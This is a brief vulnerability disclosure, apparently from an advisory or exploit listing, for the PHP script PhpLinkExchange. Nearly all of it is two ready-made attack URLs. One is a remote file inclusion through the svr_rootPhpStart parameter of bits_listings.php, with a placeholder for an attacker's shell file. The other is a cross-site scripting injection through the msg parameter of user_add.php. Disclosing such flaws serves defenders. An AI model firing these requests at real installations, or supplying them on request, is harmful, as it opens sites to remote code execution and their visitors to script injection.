Remote file include:
http://www.example.com/PhpLinkExchange/bits_listings.php?svr_rootPhpStart=[shell.txt?]

XSS:
http://www.example.com/PhpLinkExchange/user_add.php?msg=[xss]